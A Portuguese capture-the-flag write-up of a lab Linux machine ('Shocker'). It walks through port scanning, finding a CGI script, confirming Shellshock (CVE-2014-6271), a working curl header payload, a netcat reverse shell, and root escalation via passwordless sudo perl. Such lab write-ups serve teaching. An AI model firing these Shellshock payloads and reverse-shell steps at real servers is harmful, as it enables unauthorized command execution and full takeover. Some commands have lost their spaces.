Máquina Linux fácil projetada para explorar um ShellShock e por fim escalar privilégios utilizando o comando perl como root.
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
attacker> ping-c110.10.10.56PING10.10.10.56 (10.10.10.56) 56(84) bytes of data.64bytesfrom10.10.10.56:icmp_seq=1ttl=63time=175ms---10.10.10.56pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=174.546/174.546/174.546/0.000ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou a porta 80 HTTP aberta rodando um Apache 2.4.18 em um Linux Ubuntu.
attacker> rustscan-a10.10.10.56-r1-65535--ulimit5000---sCV-n-Pn-oXnmap.xml.----..-..-..----..---..----..---..--..-..-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| ||.-. \| {_}|.-._}}||.-._}}\ }//\ \| |\|`-' `-'`-----'`----'`-' `----' `---' `-'`-'`-' `-'The Modern Day Port Scanner.________________________________________: https://discord.gg/GFrQsGy :: https://github.com/RustScan/RustScan : --------------------------------------PORT STATE SERVICE REASON VERSION80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))|_http-title: Site doesn'thaveatitle (text/html).|_http-server-header:Apache/2.4.18 (Ubuntu)|http-methods:|_SupportedMethods:OPTIONSGETHEADPOST
HTTP (80) Enumeration
Em seguida, passei a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web.
Na página inicial do servidor web existe apenas uma imagem com o texto "Don't Bug Me".
Content Discovery
Nesta fase, tentei descobrir conteúdo e diretórios ocultos no servidor web usando uma ferramenta chamada ffuf. Essa técnica pode ser útil para descobrir conteúdo oculto em um servidor web que pode não ser facilmente descoberto por meio de testes manuais ou outras técnicas.
Directory Fuzzing
Nesse caso, isso me permitiu descobrir o diretório "cgi-bin", que posso investigar mais a fundo na próxima etapa.
Common Gateway Interface (CGI) is an interface specification that enables web servers to execute an external program, typically to process user requests.
Such programs are often written in a scripting language and are commonly referred to as CGI scripts, but they may include compiled programs.
File Fuzzing
Com a presença do diretório cgi-bin, podemos continuar nossa enumeração em busca de scripts presentes neste diretório, passando as extensões de algumas linguagens comuns para criação de scripts, como .pl,.sh e .cgi. Com isso encontramos o script user.sh.
Como se trata de um cgi-bin executando comandos bash, isso nos leva a pensar que existe a possibilidade de haver uma vulnerabilidade de shellshock neste endpoint.
Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was disclosed on 24 September 2014. Shellshock could enable an attacker to cause Bash to execute arbitrary commands and gain unauthorized access to many Internet-facing services, such as web servers, that use Bash to process requests.
Shellshock
Como forma de validação, podemos rodar um script do nmap que detecta se a aplicação é vulnerável a shellshock.
Outra ferramenta com scripts para teste de vulnerabilidade é o Nuclei, acessando o repositório nuclei-templates procurando por shellshock, podemos ver que o template "CVE-2014-6271: ShellShock - Remote Code Execution" detecta se a aplicação está vulnerável.
attacker> nuclei-u"http://10.10.10.56/cgi-bin/user.sh"-t"cves/2014/CVE-2014-6271.yaml"________________//__ (_)/__ \/ ///___//_ \/ //////_///__//__///_//_/\__,_/\___/_/\___/_/2.7.8projectdiscovery.io[WRN] Use with caution. You are responsible for your actions.[WRN] Developers assume no liability and are not responsible for any misuse or damage.[INF] Using Nuclei Engine 2.7.8 (latest)[INF] Using Nuclei Templates 9.2.6 (latest)[INF] Templates added in last update: 100[INF] Templates loaded for scan: 1[2022-10-30 19:19:49] [CVE-2014-6271] [http] [critical] http://10.10.10.56/cgi-bin/user.sh
Ambas as ferramentas de varredura de vulnerabilidade nos dizem que o alvo é vulnerável. Portanto, podemos executar comandos bash remotamente no alvo. Para explorar manualmente, precisamos descobrir quais campos são vulneráveis. Para isso usaremos a ferramenta tshark para capturar os pacotes enviados pelo script do nmap.
Então, vamos nos colocar em escuta com o tshark e executar a varredura do nmap novamente.
Aparecem alguns pacotes HTTP, podemos listar seus detalhes em JSON. Os campos vulneráveis geralmente são encontrados em tcp.payload no formato hexadecimal, que podemos converter em texto claro usando a ferramenta xxd.
attacker> tshark-rPackets.cap-Y"http"-Tfields-e"tcp.payload"2>/dev/null|xxd-ps-r; echoHTTP/1.1400BadRequestDate:Sun,30Oct202223:22:38GMTServer:Apache/2.4.18 (Ubuntu)Content-Length:301Connection:closeContent-Type:text/html; charset=iso-8859-1<!DOCTYPEHTMLPUBLIC"-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.18 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>GET/cgi-bin/user.shHTTP/1.1User-Agent:() { :;}; echo; echo-nnapmqct; echostdritbConnection:closeReferer:() { :;}; echo; echo-nnapmqct; echostdritbHost:10.10.10.56Cookie:() { :;}; echo; echo-nnapmqct; echostdritb11bJustanuptimetestscript13f19:22:40up26min,0users,loadaverage:0.00,0.00,0.0020
Portanto, podemos ver que o nmap injetou payloads nos campos User-Agent, Referer e Cookie do cabeçalho de requisição, portanto, esses campos são vulneráveis ao Shellshock. Assim, para explorar manualmente podemos utilizar qualquer um destes campos. Neste caso utilizaremos o User-Agent.
Como PoC, podemos injetar o comando whoami no campo User-Agent usando cURL para ver se obtemos a saída desse comando.
attacker> whichwhoami/usr/bin/whoamiattacker> curl-s-XGET"http://10.10.10.56/cgi-bin/user.sh"-H"User-Agent: () { :; }; /usr/bin/whoami"<!DOCTYPEHTMLPUBLIC"-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfigurationandwasunabletocompleteyourrequest.</p><p>Please contact the server administrator atwebmaster@localhosttoinformthemofthetimethiserroroccurred,andtheactionsyouperformedjustbeforethiserror.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at 10.10.10.56 Port 80</address></body></html>
No entanto, um erro 500 (Internal Server Error) é retornado. Quando isso acontece, podemos colocar um echo no payload do Shellshock para ver se funciona.
Como existe a vulnerabilidade de Shellshock, podemos enviar comandos bash para o alvo, então vamos enviar um comando para nos retornar uma reverse shell.
attacker> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.49] from (UNKNOWN) [10.10.10.56] 37470
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami; hostname -I
whoami; hostname -I
shelly
10.10.10.56 dead:beef::250:56ff:feb9:dca2
Upgrade da Shell
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de bash através do comando script, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com CTRL+Z:
Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
attacker> sttysize53209
Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
attacker> sttyraw-echo; fg[1] + continued nc -nlvp 443resetxterm
Definindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.
Privilege Escalation
Utilizando o comando sudo -l, foi possível verificar quais comandos o usuário atual tinha permissão de executar como root. O comando revelou que o usuário tinha permissão para executar o comando perl como root sem a necessidade de inserir uma senha. Isso foi possível devido a configuração incorreta do arquivo de configuração do sudo.
Utilizando a ferramenta gtfobins, encontramos uma forma de obter um shell como root. Com isso, conseguimos escalar privilégios e obter acesso como root na máquina alvo.
